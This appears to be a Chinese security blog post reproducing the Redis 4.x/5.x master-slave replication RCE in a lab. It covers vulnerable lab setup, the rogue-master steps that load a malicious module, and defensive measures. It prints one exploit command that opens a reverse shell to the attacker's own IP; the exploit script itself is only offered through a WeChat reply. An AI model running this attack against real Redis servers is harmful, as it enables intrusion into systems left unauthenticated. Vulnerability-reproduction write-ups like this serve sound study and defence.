Redis主从RCE漏洞复现反弹shell

百科   2024-11-13 08:33   山东  

免责声明

请勿利用文章内的相关技术从事非法测试。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,请务必遵守网络安全法律法规。本文仅用于测试,请完成测试后24小时删除,请勿用于商业用途。如文中内容涉及侵权行为,请及时联系作者,我们会立刻删除并致歉。

1. Redis 主从复制

简介

Redis 的主从复制是指将一个 Redis 实例(称为主节点)的数据复制到其他 Redis 实例(称为从节点)的过程。主从复制可以实现数据备份、读写分离、负载均衡等功能。

主机数据更新后根据配置和策略,自动同步到从机的 master/slave 机制,Master 以写为主,Slave 以读为主。主少从多、主写从读、读写分离、主写同步复制到从。

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

redis 4.x/5.x RCE是基于主从复制的redis rce,其利用条件是Redis未授权或弱口令。

2.准备环境

redis下载链接:

https://download.redis.io/releases/redis-5.0.10.tar.gz

安装GCC

apt install build-essential

安装redis

cd src 

make install

设置protected-mode为no

vim redis.conf  注释bind 127.0.0.1
!

启动服务

./redis-server ../redis.conf

3.漏洞复现

使用exp脚本一键反弹shell,exp关注公众号后台回复【1113】获取exp下载链接

简单说一下EXP漏洞利用过程:

  1. 1. 连接到目标Redis服务器:脚本首先连接到指定的Redis服务器。

  2. 2. 发送SLAVEOF命令:脚本使目标Redis服务器成为Rogue Server的从服务器。

  3. 3. 设置dbfilename:脚本通过CONFIG SET命令设置目标Redis服务器的数据库文件名,这将在后续步骤中使用。

  4. 4. 启动Rogue Server并监听:Rogue Server启动并等待目标Redis服务器的连接。

  5. 5. 执行PSYNC/SYNC:当目标Redis服务器尝试从Rogue Server同步数据时,Rogue Server发送一个包含恶意模块的响应。

  6. 6. 加载恶意模块:目标Redis服务器收到响应后会尝试加载这个恶意模块。

  7. 7. 执行任意代码:一旦恶意模块被加载,它就可以在Redis服务器上执行任意代码,从而实现远程代码执行。

执行exp

python redis-rce.py -r 目标ip  -p 目标端口  -L 本地IP  -p 本地端口 -f exp.so

连接成功后

i代表选择进入一个shell,r代表反弹一个shell,e代表退出

反弹shell成功截图:

4.防御措施:

  • • 确保Redis服务器运行在受信任的网络环境中。

  • • 限制对Redis服务器的访问,只允许信任的客户端连接。

  • • 更新Redis到最新版本,并关注官方发布的任何安全更新。

  • • 如果不需要模块功能,可以通过配置文件禁用模块加载功能。

5.获取EXP

后台回复【1113】获取EXP下载链接。



Z0安全
个人学习知识记录,包括红队、二进制安全、CTF、取证等方向。菜鸟一枚,多多包涵~